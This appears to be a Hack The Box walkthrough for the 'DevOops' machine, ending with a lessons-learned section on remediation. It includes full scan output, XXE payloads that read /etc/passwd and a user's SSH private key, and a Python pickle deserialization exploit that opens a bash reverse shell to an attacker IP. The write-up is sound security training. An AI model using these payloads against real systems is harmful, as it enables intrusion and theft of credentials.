Run the nmapAutomator script to enumerate open ports and services running on those ports.
./nmapAutomator.sh 10.10.10.91 All
All: Runs all the scans consecutively.
We get back the following result.
Running all scans on 10.10.10.91Host is likely running Linux---------------------Starting Nmap Quick Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 00:59 EST
Nmap scan report for 10.10.10.91
Host is up (0.042s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnpNmap done: 1 IP address (1 host up) scanned in 0.92 seconds---------------------Starting Nmap Basic Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 00:59 EST
Nmap scan report for 10.10.10.91
Host is up (0.031s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
| 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.30 seconds----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 00:59 EST
Warning: 10.10.10.91 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.91
Host is up (0.035s latency).
All 1000 scanned ports on 10.10.10.91 are open|filtered (952) or closed (48)Nmap done: 1 IP address (1 host up) scanned in 42.48 seconds---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 01:00 EST
Initiating Parallel DNS resolution of 1 host. at 01:00
Completed Parallel DNS resolution of 1 host. at 01:00, 0.01s elapsed
Initiating SYN Stealth Scan at 01:00
Scanning 10.10.10.91 [65535 ports]
Discovered open port 22/tcp on 10.10.10.91
SYN Stealth Scan Timing: About 23.21% done; ETC: 01:02 (0:01:43 remaining)
Discovered open port 5000/tcp on 10.10.10.91
SYN Stealth Scan Timing: About 46.06% done; ETC: 01:02 (0:01:11 remaining)
Warning: 10.10.10.91 giving up on port because retransmission cap hit (1).
SYN Stealth Scan Timing: About 68.91% done; ETC: 01:02 (0:00:41 remaining)
Completed SYN Stealth Scan at 01:02, 131.94s elapsed (65535 total ports)
Nmap scan report for 10.10.10.91
Host is up (0.033s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnpRead data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 132.12 seconds
Raw packets sent: 65954 (2.902MB) | Rcvd: 65783 (2.631MB)No new ports---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 01:02 EST
Nmap scan report for 10.10.10.91
Host is up (0.032s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.33 secondsRunning Vuln scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 01:02 EST
/usr/local/bin/nmapAutomator.sh: line 226: 1608 Segmentation fault $nmapType -sV --script vuln -p$(echo "${ports}") -oN nmap/Vulns_"$1".nmap "$1"---------------------Recon Recommendations----------------------Web Servers Recon:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.91:5000 -o recon/gobuster_10.10.10.91_5000.txt
nikto -host 10.10.10.91:5000 | tee recon/nikto_10.10.10.91_5000.txt
Which commands would you like to run?
All (Default), gobuster, nikto, Skip <!>Running Default in (1) s:---------------------Running Recon Commands----------------------Starting gobuster scan
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.91:5000
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/01/28 01:03:45 Starting gobuster
===============================================================
http://10.10.10.91:5000/feed (Status: 200) [Size: 546263]
http://10.10.10.91:5000/upload (Status: 200) [Size: 347]
===============================================================
2020/01/28 01:04:33 Finished
===============================================================Finished gobuster scan
=========================
Starting nikto scan
- Nikto v2.1.6
--------------------------------------------------------------------
+ Target IP: 10.10.10.91
+ Target Hostname: 10.10.10.91
+ Target Port: 5000
+ Start Time: 2020-01-28 01:04:55 (GMT-5)
--------------------------------------------------------------------
+ Server: gunicorn/19.7.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: HEAD, OPTIONS, GET
+ 7865 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2020-01-28 01:14:54 (GMT-5) (599 seconds)
--------------------------------------------------------------------
+ 1 host(s) testedFinished nikto scan
=========================
---------------------Finished all Nmap scans---------------------Completed in 15 minute(s) and 11 second(s)
We have two ports open.
Port 22: running OpenSSH 7.2p2
Port 5000: running Gunicorn 19.7.1
Before we move on to enumeration, let’s make some mental notes about the scan results.
The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
The Gobuster scan found two directories: feed and upload. The upload directory sounds interesting, we’ll check it out to see if we can get initial access through it.
Enumeration
Visit the application in the browser.
The index page makes mention of a feed.py page. This page didn’t show up in our gobuster scan. Visit the page in the application.
We get a 404 error. Next, let’s visit the upload directory.
It seems to be taking in XML files. When I see an XML upload functionality, the first thing I test for is an XML External Entity (XXE) injection. This is a type of attack that exploits how the backend XML parser processes XML data. If successful, it can allow an attacker to view files on the server, conduct a server side request forgery attack, etc.
To test this out, let’s first create an empty test.xml file and upload it. Intercept the request in Burp and send it to Repeater. Then send the request.
We get an internal server error, which probably means that there is a certain XML structure that the backend is expecting. The page did make mention of three XML elements: Author, Subject and Content. So after a bit of trail and error, we find that the following payload generated a 200 status code.
Now that we have a working request, let’s see if it is vulnerable to XXE injection. Visit the PayloadAllTheThings XXE section and perform the basic entity test that detects if this vulnerability exists.
The above payload includes the entity “example” in the DOCTYPE element. If the XML parser parses this entity, it will display the string “Doe” in the “Author” element.
As can be seen in the response, we now have confirmation that this upload functionality is vulnerable to an XXE injection.
Initial Foothold
Let’s take this exploit a step further and retrieve the content of the /etc/passwd file.
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<test>
<Author>&test;</Author>
<Subject>test</Subject>
<Content>test</Content>
</test>
Filter the result on users that have a /bin/bash shell assigned to them.
The user.txt file is probably in the roosa home directory. Since SSH is the only other port that is open, let’s check if roosa has an SSH private key in her home directory.
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/roosa/.ssh/id_rsa'>]>
<test>
<Author>&test;</Author>
<Subject>test</Subject>
<Content>test</Content>
</test>
Perfect! Save the content of the private key in file roosa_id_rsa.
Roosa made a commit that contained a key. To view the commit history run the following command.
roosa@gitter:~$ git log
fatal: Not a git repository (or any parent up to mount point /home)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).
We get an error that the folder we’re in is not a git repository. To find the git repository, locate the .git file.
So it seems that Roosa deleted an RSA private key and replaced it with her own RSA private key. We don’t know who the deleted key belongs to so let’s add it in the file unknown_id_rsa.
root@kali:~/Desktop/htb/devoops# ssh -i unknown_id_rsa root@10.10.10.91
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage135 packages can be updated.
60 updates are security updates.Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~#
We’re in! Grab the root.txt flag.
Extra Content
After rooting this machine, I watched ippsec’s video and discovered an alternative way to gain initial access.
In the index page, there was a mention of a feed.py script that gave us a 404 error when we tried to access it through the application. We can use the XXE injection vulnerability to view the content of the script.
xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:feed.py'>]>
<test>
<Author>&test;</Author>
<Subject>test</Subject>
<Content>test</Content>
</test>
We get back the following result in the response.
PROCESSED BLOGPOST:
Author: ')
def uploaded_file(filename):
return send_from_directory(Config.UPLOAD_FOLDER,
filename)@app.route("/")
def xss():
return template('index.html')@app.route("/feed")
def fakefeed():
return send_from_directory(".","devsolita-snapshot.png")@app.route("/newpost", methods=["POST"])
def newpost():
# TODO: proper save to database, this is for testing purposes right now
picklestr = base64.urlsafe_b64decode(request.data)
# return picklestr
postObj = pickle.loads(picklestr)
return "POST RECEIVED: " + postObj['Subject']## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')if __name__ == "__main__":
app.run(host='0.0.0,0', Debug=True)Subject: test
Content: test
URL for later reference: /uploads/test.xml
File path: /home/roosa/deploy/src
We see that there is a newpost directory that takes in user input (request data) in a POST method and loads it using the pickle module.
A quick search on the module tells us what it does.
The pickle module implements binary protocols for serializing and de-serializing a Python object structure.
The page also include the following warning.
This is a HUGE red flag! The above warning states that you should never take in data from an untrusted source, however, in the script above, we can see that it takes in request data (which is client side data that can be tampered with) and doesn’t do any validation on that data. So we definitely have an arbitrary code execution vulnerability here.
Do a google search on “pickle exploit” to find the following github page. Download the exploit code and change the command to a bash reverse shell with the correct IP address and port.
#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import cPickle
import sys
import base64DEFAULT_COMMAND = "bash -c 'bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMANDclass PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))print base64.b64encode(cPickle.dumps(PickleRce()))
We need to insert the above base64 encoded string into the the POST request to /newpost. To do that, intercept the request to the index page, send it to Repeater, right click and select the option Change Request Method. Then add the path /newpost, change the Content-Type to ‘text’ and include the base64 string our exploit generated.
Send the request and we get a shell!
Lessons Learned
To gain an initial foothold on the box we exploited two vulnerabilities.
XML External Entity (XXE) injection that allowed us to enumerate users on the box and obtain the SSH private key of the user roosa. Remediations for this vulnerability include input validation and properly configuring XML parsers to disable the resolution of external entities.
Lack of input validation that allowed us to run arbitrary commands on the system. The application was taking in untrusted user input and unpacking it using the pickle python deserialization library. Since the input was not properly validated, we generated a string of malicious input that sent a reverse shell back to our attack machine. Remediations for this vulnerability include input validation and using secure libraries that have built in input validation checks.
To escalate privileges we exploited one vulnerability.
Sensitive information disclosure. The developer had previously committed the root RSA private key in a Github repository. Although the key was replaced with the correct one, we were still able to access the original key in the commit history. Remediation for this vulnerability would be to remove the file from the repository’s history. For more information on how to do that, refer to this link.